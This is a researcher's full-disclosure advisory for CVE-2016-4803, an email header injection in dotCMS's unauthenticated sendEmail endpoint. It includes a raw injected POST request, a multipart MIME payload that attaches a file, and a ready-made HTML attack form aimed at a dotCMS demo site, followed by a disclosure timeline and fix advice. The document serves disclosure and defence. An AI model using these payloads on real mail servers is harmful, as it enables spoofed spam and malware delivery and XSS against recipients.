In short - detected problems in dotCMS/sendEmail functionality (dotCMS version before 3.5 / 3.3.2):

  • e-mail header injection: attacker can use target server as spam engine to send malicious emails (for example with viruses in attachment);
  • no (business logic) input validation: attacker can send emails from whatever address to whatever address (using target server (trusted) smtp);
  • XSS: attacker can do XSS attacks in HTML emails;
Proof-of-Concept is made with dotCMS version 3.2.1.

Background: dotCMS and their "Known Issues" page

dotCMS is open source CMS (Content Management System) Web Application written in JAVA [1]. They have published on their page "Known Issues" [2] to share information about some vulnerabilities. This kind of initiative is really good, but in my opinion, they are doing it in selective way - based on my own experience, they share information partially.

So far, I have reported some vulnerabilities to security@dotcms.com three times:

  1. letter, sent on 2014-09-16, contained 5 different vulnerabilities (3x XSS, Direct Object Reference, Session fixation). They published only one of them and (in my opinion) the most less critical one - XSS on "page not found .jsp" [3]. It was published on 2014-09-23, so it didn't take too much time to fix it. But I didn't get any feedback from them about fixing it, I figured it out because I have my name in "Google Alerts".

  2. letter, sent on 2015-12-07, contained information about current Full Disclosure (email header injection, XSS in HTML emails, possibility to re-use CAPTCHA code). No direct feedback. No published vulnerabilities. I asked feedback in next letter and then I got it.

  3. letter, sent on 2015-12-14, contained information about 8 SQL injection vulnerabilities. Finally got some feedback. Detailed timeline is described later.

Proof-of-Concept: Email Header Inection in dotCMS

Service location

First, email service is located on path:

/dotCMS/sendEmail/

Pre-conditions

There is no pre-condition on authentication or on authorization to access this functionality. All you need to know is that this functionality exists and the parameter names there. If you can access one installation of dotCMS, then it's easy to detect those. And this one installation can be dotCMS own demo site, demo2.dotcms.com.

Proof-of-Concept parameter and value

To prove Email Header Injection, I need to send line-break (\r\n) in some parameter. Proof-of-Concept vulnerable parameter is subject (%0D%0A is marking new line (\r\n) there):

subject=subject%0D%0AX-PoC-of-New-Line%3A+True

Proof-of-Concept request

Proof-of-Concept POST request for Email Header Injection:

POST /dotCMS/sendEmail HTTP/1.1
Host: demo2.dotcms.com
...
Cookie: _JSESSIONID=998ADA19C99505E75DC6D27A5E84D...; ...
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218

from=elar%40clarifiedsecurity.com&to=elar%40clarifiedsecurity.com&subject=subject%0D%0AX-PoC-of-New-Line%3A+True&returnUrl=%2F1&invalidCaptchaReturnUrl=%2F2&useCaptcha=true&captcha=hwxc5&comments=some+content&send=Send

Required parameters are:

from="elar%40clarifiedsecurity.com" # email address, as whom this email is sent
to="elar%40clarifiedsecurity.com" # email address to whom this email is sent
subject="subject%0D%0AX-PoC-of-New-Line%3A+True" # email subject, for PoC contains new line here (%0D%0A)
returnUrl="%2F1" # redirect path on success
invalidCaptchaReturnUrl="%2F2" # redirect path on failure (on wrong captcha for example)
useCaptcha="true" # true or false, depends does a application require filling captcha by configuration or not
captcha="hwxc5" # captcha value in case "useCaptcha" is true. Seems like a problem? It's not. It's possible to re-use one correct captcha value endless amount of times.
comments="some+content" # just some content
send="Send" # send button

Received email with extra header line

... and I got mail! It's a bit bad already, because site does not have any input validation check - attacker can use whatever value for "from email address". In other words, attacker can send emails as whoever on trusted SMTP server. That may result in misusage of server (for example attacket can send viruses) and trusted SMTP server end up in some blacklist.

CVE-2016-4803 dotCMS - email header injection vulnerability - proof-of-concept of creating new line

Visually everything seems ok (image above). From received email source (code below) we can see subject parameter value is just "subject" and my extra header (X-PoC-of-New-Line: True) is on new line. It means - vulnerability!

Received email source:

... some headers are removed ...
Received: from democms1.dotcms.net (localhost [127.0.0.1])
    by democms1.dotcms.net (Postfix) with ESMTP id C100045587
    for <elar@clarifiedsecurity.com>; Mon,  7 Dec 2015 03:28:09 -0500 (EST)
Message-ID: <1894336506.1449476889789.JavaMail.dotcms@democms1.dotcms.net>
From:  <elar@clarifiedsecurity.com>
To: elar@clarifiedsecurity.com
Subject: subject
X-PoC-of-New-Line: True
MIME-Version: 1.0
Content-Type: multipart/alternative; 
    boundary="----=_Part_4_698773753.1449476889786"
X-RecipientId: null
Date: Mon,  7 Dec 2015 03:28:09 -0500 (EST)

------=_Part_4_698773753.1449476889786
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Information from demo.dotcms.com:   subject
X-PoC-of-New-Line: True

send:   Send
comments:   some content

------=_Part_4_698773753.1449476889786
Content-Type: text/html;charset=UTF-8
Content-Transfer-Encoding: 7bit

<html><style>td{font-family:arial;font-size:10pt;}</style><BODY><TABLE bgcolor=eeeeee width=95%><TR><TD colspan=2><strong>Information from demo.dotcms.com: subject
X-PoC-of-New-Line: True</strong></TD></TR><TR><TD bgcolor=white valign=top nowrap>&nbsp;send&nbsp;</TD><TD bgcolor=white valign=top width=100%>Send</TD></TR><TR><TD bgcolor=white valign=top nowrap>&nbsp;comments&nbsp;</TD><TD bgcolor=white valign=top width=100%>some content</TD></TR></TABLE></BODY></HTML>
------=_Part_4_698773753.1449476889786--

Exploit: send multipart email with attachment using email header injection

If Proof-of-Concept wasn't enough

Does sending just one extra parameter seem not dangerous? It's just a proof. Proof, that attacker can manipulate the way the application builds an email. To demonstrate that, I send multipart email - it contains:

  • text/plain type - for those email clients, which can not (or are not allowed to) show HTML type emails;
  • text/html type - for those email clients, which understand HTML messages and can display them;
  • attachment - extra attached file to prove that it's possible to send files using this security hole.

Payload for sending multipart email

If previously I sent just one extra line from subject parameter, now it's a bit longer. My new value for subject field contains multipart/mixed type email structure:

subject
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=001a1147ddc88ff1220526110230

--001a1147ddc88ff1220526110230
Content-Type: multipart/alternative; boundary=001a1147ddc88ff117052611022e

--001a1147ddc88ff117052611022e
Content-Type: text/plain; charset=UTF-8

PLAIN-TEXT

--001a1147ddc88ff117052611022e
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<h1>HTML-EMAIL</h1>

--001a1147ddc88ff117052611022e--
--001a1147ddc88ff1220526110230
Content-Type: text/plain; charset=US-ASCII; name="test.txt"
Content-Disposition: attachment; filename="test.txt"
Content-Transfer-Encoding: base64

ZmlsZSBjb250ZW50
--001a1147ddc88ff1220526110230--

All line-breaks in given value must be "\r\n". In POST request those line-breaks are presented in URL encoding %0D%0A.

Received email with text and html parts with extra attachment file

From received email it's visible, that creating multipart email was successful and extra file is attached. We can see, that attacker can fully control the content for that email.

Received email:

CVE-2016-4803 dotCMS - email header injection vulnerability - proof-of-concept of sending attachment

Received email source:

... some headers removed ..
Received: from democms1.dotcms.net (localhost [127.0.0.1])
    by democms1.dotcms.net (Postfix) with ESMTP id A543645587
    for <elar@clarifiedsecurity.com>; Mon,  7 Dec 2015 03:46:51 -0500 (EST)
Message-ID: <1690048029.1449478011656.JavaMail.dotcms@democms1.dotcms.net>
From:  <elar@clarifiedsecurity.com>
To: elar@clarifiedsecurity.com
Subject: subject
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary=001a1147ddc88ff1220526110230
Date: Mon,  7 Dec 2015 03:46:51 -0500 (EST)

--001a1147ddc88ff1220526110230
Content-Type:
 multipart/alternative;
 boundary=001a1147ddc88ff117052611022e

--001a1147ddc88ff117052611022e
Content-Type:
 text/plain;
 charset=UTF-8

PLAIN-TEXT

--001a1147ddc88ff117052611022e
Content-Type:
 text/html; charset=UTF-8
Content-Transfer-Encoding:
 quoted-printable

<h1>HTML-EMAIL</h1>

--001a1147ddc88ff117052611022e--
--001a1147ddc88ff1220526110230
Content-Type:
 text/plain; charset=US-ASCII; name="test.txt"
Content-Disposition:
 attachment; filename="test.txt"
Content-Transfer-Encoding:
 base64

ZmlsZSBjb250ZW50
--001a1147ddc88ff1220526110230--
MIME-Version: 1.0
Content-Type: multipart/alternative; 
    boundary="----=_Part_7_437186642.1449478011646"

... here starts original email, which is ignored by email parser ...

Proof-of-Concept HTML form for sending multipart emails via Email Header Injection in dotCMS

If you want to test it in your own environment, here is Proof-of-Concept HTML form for sending multipart emails:

<!--
Proof-of-Concept for CVE-2016-4803
* Source: https://security.elarlang.eu/cve-2016-4803-dotcms-email-header-injection-vulnerability-full-disclosure.html
* Framework: dotCMS
* Vulnerability: email header injection
* Vulnerable versions: ? - 3.5 / 3.3.2
* Credit/Author: Elar Lang (Clarified Security)
-->
<html>
<body>
<form method="post" action="http://demo2.dotcms.com/dotCMS/sendEmail" enctype="application/x-www-form-urlencoded">
From: <input type="text" name="from" value="fill it (from)"><br>
To: <input type="text" name="to" value="fill it (to)"><br>
Subject: <textarea name="subject" rows="20" cols="150">PoC
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=001a1147ddc88ff1220526110230

--001a1147ddc88ff1220526110230
Content-Type: multipart/alternative; boundary=001a1147ddc88ff117052611022e

--001a1147ddc88ff117052611022e
Content-Type: text/plain; charset=UTF-8

PLAIN-TEXT-EMAIL-HERE

--001a1147ddc88ff117052611022e
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<h1>HTML-EMAIL-HERE</h1>

--001a1147ddc88ff117052611022e--
--001a1147ddc88ff1220526110230
Content-Type: text/plain; charset=US-ASCII; name="test.txt"
Content-Disposition: attachment; filename="test.txt"
Content-Transfer-Encoding: base64

ZmlsZSBjb250ZW50
--001a1147ddc88ff1220526110230--</textarea><br>
Return URL: <input type="text" name="returnUrl" value="/1"><br>
Invalid captcha URL: <input type="text" name="invalidCaptchaReturnUrl" value=""><br>
use Captcha: <input type="text" name="useCaptcha" value="true"><br>
Captcha: <img src="http://demo2.dotcms.com/Captcha.jpg"><br>
Captcha: <input type="text" name="captcha" value=""><br>
Comments: <textarea name="comments" rows="7" cols="40"></textarea><br />
(you can do XSS from comments field)<br />
<input type="submit" name="send" value="Send">
</form>
</body>
</html>

Vulnerability Disclosure Timeline

Timezone for dates: Tallinn/Europe (GMT+3)

"hey, you have a problem"

  • 2015-12-04 .. 07 | me | detected vulnerability, wrote Proof-of-Concept
  • 2015-12-07 | me > dotCMS | sent a letter with detailed description of email header injection and some related vulnerabilities
  • 2015-12-14 | me > dotCMS | sent another letter with SQL injections vulnerabilities and asked feedback about "email header injection" vulnerabilities
  • 2015-12-14 | dotCMS > me | they were going to review my emails and asked to resend "email header injection" description
  • 2015-12-14 | me > dotCMS | I resent "email header injection" description
  • 2015-12-14 | dotCMS > me | they were planning fixes in upcoming release, estimated to beginning of 2016. They thanked and wrote "security is something we take seriously"

"how is it going?"

  • 2016-04-07 | me > dotCMS | 5 months since first report, what is the situation with reported vulnerabilities?
  • 2016-04-07 | dotCMS | commit in GitHub | "fixes #8840 sort by sanitizing and email header injection #8841" [4]
  • 2016-04-07 | dotCMS > me | email header injection will be fixed in 3.5, which is estimated to be out in mid-April

releases, published

  • 2016-04-19 | dotCMS | dotCMS version 3.5 release [5]
  • 2016-05-09 | me > dotCMS | asked confirmation and version numbers about fixes for CVE and Full Disclosure
  • 2016-05-09 | me > mitre.org | CVE requested
  • 2016-05-10 | dotCMS > me | email header injection is fixed in versions 3.5 and 3.3.2.
  • 2016-05-10 | dotCMS | dotCMS version 3.3.2 release [6]
  • 2016-05-13 | mitre.org > me | CVE assigned (CVE-2016-4803)
  • 2016-05-24 | me | Full Disclosure on security.elarlang.eu
  • 2016-05-26 | me | Full Disclosure in FullDisclosure mailinglist on seclists.org [7]

What to point out here:

  • They fixed the security hole (commited the fix) few hours after my email on 2016-04-07. Before that, they just ignored it 5 months, even though they declared "security is something we take seriously"
  • It took over 5 months from first email to release with fix

At least it is fixed now :)

Statuses for listed problems

  1. Email header injection - fixed
  2. From/To addresses are not validated - NOT fixed
  3. XSS in HTML email - NOT fixed

Suggestions

First suggestion is to be up-to-date with your dotCMS framework. But this is fix for only one of listed problems.

In general, to avoid "email header injection", it should not be possible to use new lines in email header userinput. Typically those fields are: From, To and Subject.

The problem with dotCMS framework sendEmail functionality is that it is a library or API, but not a controller. You need to build controller for every form and submit your email forms to your controller, not directly to "sendEmail" path. Disallow requests to sendEmail path.

In your controller you need to:

  • validate "from" and "to" email addresses (fix for problem nr 2)
  • convert data from user to HTML special characters for HTML email (fix for problem nr 3)

References

CVE-2016-4803 related links


Comments

comments powered by Disqus